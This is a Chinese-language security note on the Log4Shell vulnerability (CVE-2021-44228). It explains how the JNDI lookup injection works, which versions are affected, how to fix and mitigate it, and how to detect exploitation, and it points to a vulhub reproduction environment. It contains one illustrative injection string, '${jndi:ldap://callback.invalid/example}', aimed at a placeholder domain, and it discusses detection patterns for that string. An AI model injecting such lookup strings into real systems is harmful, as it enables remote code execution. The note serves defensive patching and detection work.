CVE-2021-44228
约 5 分钟阅读
- Log4Shell - Apache Log4j 2 的 JNDI Lookup 注入,可由进入日志的外部输入触发远程代码执行
- 受影响组件:
org.apache.logging.log4j:log4j-core;仅使用log4j-api而没有受影响 Core 实现的应用不受本 CVE 影响 - 严重性:CVSS 3.1 10.0 Critical(Apache 官方安全页、NVD)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- CVE 公开:2021-12-10;发现者:阿里云安全团队陈兆军;资料核对:2026-10-23
- CISA KEV 收录:2021-12-10;有已知在野利用和勒索软件活动记录
- 同为 10 分的 Zerologon 影响 AD 域控认证;Log4Shell 的入口是应用日志与 Java JNDI
成因与利用条件
- Log4j 的 Lookup 允许解析
${...}表达式,JNDI Lookup 把名称交给 Java Naming and Directory Interface 解析 - 受影响的消息 Lookup 会把日志中的输入作为待解析表达式,而不只是普通文本
- 攻击者可通过被记录的 HTTP header、URL、用户名、聊天消息、错误信息或其他业务字段控制日志内容
- 不要求应用主动调用 JNDI,也不要求它是 Java Web server;后台任务、消息消费者和日志处理服务也可能记录外部输入
- 应用是否要求登录、在哪一步记录输入、使用哪个日志实现,决定实际入口;
PR:N不代表任意部署都无需认证即可触达
- JNDI 若访问攻击者控制的 LDAP/RMI 等端点,可能通过远程类加载或本地可用的对象工厂/反序列化路径执行代码
- 成功 RCE 还受 JDK 版本、安全配置、classpath、网络出站策略和载荷路径限制
- 较新 JDK 默认限制部分远程 codebase 加载,但不能据此认定 Log4j 已修复;JNDI 请求、泄露或其他利用路径仍需评估
- 影响权限通常是 Java 应用进程用户,不自动等于 root 或容器逃逸
攻击者可控输入
→ 应用用受影响的 log4j-core 记录日志
→ 消息 Lookup 解析 JNDI 表达式
→ 访问攻击者控制的命名服务
→ 满足类加载 / 对象工厂等条件
→ 应用进程权限下执行代码原理示意,未向任何地址发送请求:
${jndi:ldap://callback.invalid/example}.invalid是保留占位域名,不是实验服务;该字符串只说明输入如何进入 JNDI Lookup- 观察到 DNS/LDAP 回连只支持“Lookup 或出站访问已触发”,不能单独证明代码执行
logger.info("input={}", input)这样的参数化日志不能单独防护本漏洞;被替换的消息仍可能经过受影响的 Lookup 路径
受影响版本
以 Apache 官方安全页的分支表为准:
| Log4j 2 范围 | 首个修复本 CVE 的版本 | 当时对应 Java |
|---|---|---|
>=2.0-beta9, <2.3.1 | 2.3.1 | Java 6 |
>=2.4, <2.12.2 | 2.12.2 | Java 7 |
>=2.13.0, <2.15.0 | 2.15.0 | Java 8+ |
2.3.1、2.12.2等是旧分支回补,不应把所有<2.15.0一概判为本 CVE 未修复- CVE Record 的文字描述包含
through 2.15.0,同时说明 2.15.0 默认禁用消息 Lookup;实际修复边界应结合官方分支表和后续CVE-2021-45046判断 - Log4j 1.x 没有同样的消息 Lookup;其 JMSAppender/JNDI 问题是独立的
CVE-2021-4104,且 1.x 已结束维护 - Logback、log4net、log4cxx 不能仅因名称、日志接口或桥接依赖判为受本 CVE 影响;需要核对最终实际加载的实现
修复与缓解
| 后续编号 | 与 Log4Shell 的关系 | 需要注意 |
|---|---|---|
CVE-2021-45046 | 2.15.0 在部分非默认 Thread Context Lookup 配置中修复不完整 | Java 8 分支进一步修复于 2.16.0,不能把 2.15.0 当作整组问题的最终目标 |
CVE-2021-45105 | 自引用 Lookup 引起递归与 DoS | Java 8 分支进一步修复于 2.17.0 |
CVE-2021-44832 | JDBC Appender / JNDI 配置路径,要求攻击者能修改日志配置 | 不是本 CVE 的同一未认证输入路径;2.17.1 的发布说明列出该项修复 |
- 升级应用及其供应商组件到当前仍受支持、覆盖相关公告的版本
2.3.2、2.12.4、2.17.1是 2021 年底这组问题的历史升级节点,不是 2026 年的统一最新安全版本或维护承诺- 商业产品、发行版回补和 shaded/重打包组件应依据供应商公告、完整构建版本及实际内容判断
- 排查直接和传递依赖、嵌套 JAR、fat JAR、WAR/EAR、插件、容器镜像、运行中的 JVM 与 classloader;只看顶层 Maven 依赖或文件名会漏报
- 替换依赖后重新构建、部署,并确认所有 JVM 已切换;只更新磁盘文件不能清除已加载的旧类
- 临时措施可包括移除受影响构建中的
JndiLookup.class、限制出站 LDAP/RMI/DNS 和按业务收紧入口,但要核对具体版本与供应商兼容性log4j2.formatMsgNoLookups=true等历史开关仅覆盖特定版本和消息路径,不能当作覆盖后续全部漏洞的通用开关- WAF、简单匹配
${jndi:或仅升级 JDK 都不能代替组件修复
- 早期 JNDI 限制修复可追溯到 commit
7fe72d62fcb9246be792b946e405e1d40d402780,涉及JndiManager.java的协议、LDAP 主机/类处理;这是修复过程中的一项提交,不等于完整修复集合
PoC
- vulhub/vulhubGitHubvulhub/vulhub
- MIT, Docker Compose, Java
- 漏洞环境与复现说明;固定 READMEGitHub 文件vulhub/vulhub/log4j/CVE-2021-44228/README.md 使用 Solr 8.11.0 / Log4j 2.14.1 展示日志输入到 JNDI 的链路
- README 分开演示命名服务回连与代码执行,并说明直接加载字节码受 JDK 版本限制
- 完整实验涉及启动服务、出站请求及写入演示文件;属于漏洞复现,不能当作无副作用的生产版本检查
- 以上只做静态阅读;没有安装依赖、启动 Compose、运行载荷或验证 RCE
利用情报与排查
- CISA
AA21-356A记录公开利用、广泛扫描、矿工和 botnet 活动;AA22-174A进一步记录 VMware Horizon 等未修复系统中的持续入侵 - CISA KEV
2026.10.21快照中,本 CVE 的dateAdded=2021-12-10、knownRansomwareCampaignUse=Known- 收录日期不是首次攻击日期,也不代表每个受影响实例都已入侵
- 关联应用访问日志、异常 JNDI/DNS/LDAP/RMI 出站连接、Java 派生 shell/下载进程、临时目录与应用文件变化
- 简单字符串匹配可能被嵌套 Lookup、编码、日志截断或异步处理绕过;无回连、无日志或无告警不能单独排除利用
- 升级不能撤销既有入侵;有执行线索时应保留证据、评估应用可读凭据,并按事件响应流程处理持久化与凭据轮换
参考
- Apache 官方安全公告
- CVE Record 固定 JSONGitHub 文件CVEProject/cvelistV5/cves/2021/44xxx/CVE-2021-44228.json
- NVD链接nvd.nist.gov/vuln/detail/CVE-2021-44228Log4Shell - Apache Log4j 2 的 JNDI Lookup 注入,可由进入日志的外部输入触发远程代码执行 · 受影响组件:;仅使用 而没有受影响 Core 实现的应用不受本 CVE 影响 · 严重性:CVSS 3.1 10.0 Critical(Apache 官方安全页、NVD)笔记:CVE-2021-44228
- Apache 2.17.1 发布说明
- LOG4J2-3201 早期 JNDI 修复GitHubapache/logging-log4j2/commit/7fe72d62fcb9246be792b946e405e1d40d402780
- CISA AA21-356A:Log4Shell 与关联漏洞缓解
- CISA AA22-174A:VMware Horizon 中的持续利用
- CISA KEV 官方镜像GitHub 文件cisagov/kev-data/known_exploited_vulnerabilities.json
关联信息
反向链接、本文链接的其他页面和外部资料。
参考资料
GitHub5 条
- apache/logging-log4j2/commit/7fe72d62fcb9246be792b946e405e1d40d402780github.com/apache/logging-log4j2/commit/7fe72d62fcb9246be792b946e405e1d40d402780
- cisagov/kev-data/known_exploited_vulnerabilities.jsongithub.com/cisagov/kev-data/blob/main/known_exploited_vulnerabilities.json
- CVEProject/cvelistV5/cves/2021/44xxx/CVE-2021-44228.jsongithub.com/CVEProject/cvelistV5/blob/691defe9629f96a865b371ef8ebd364035a96ec1/cves/2021/44xxx/CVE-2021-44228.json
- vulhub/vulhubgithub.com/vulhub/vulhub
- vulhub/vulhub/log4j/CVE-2021-44228/README.mdgithub.com/vulhub/vulhub/blob/9b90d4276f84feed6333286afeb7e1250379a1da/log4j/CVE-2021-44228/README.md
其他外链5 条
- logging.apache.org/log4j/2.x/release-notes.htmllogging.apache.org/log4j/2.x/release-notes.html
- logging.apache.org/security.htmllogging.apache.org/security.html
- nvd.nist.gov/vuln/detail/CVE-2021-44228nvd.nist.gov/vuln/detail/CVE-2021-44228
- www.cisa.gov/news-events/cybersecurity-advisories/aa21-356awww.cisa.gov/news-events/cybersecurity-advisories/aa21-356a
- www.cisa.gov/news-events/cybersecurity-advisories/aa22-174awww.cisa.gov/news-events/cybersecurity-advisories/aa22-174a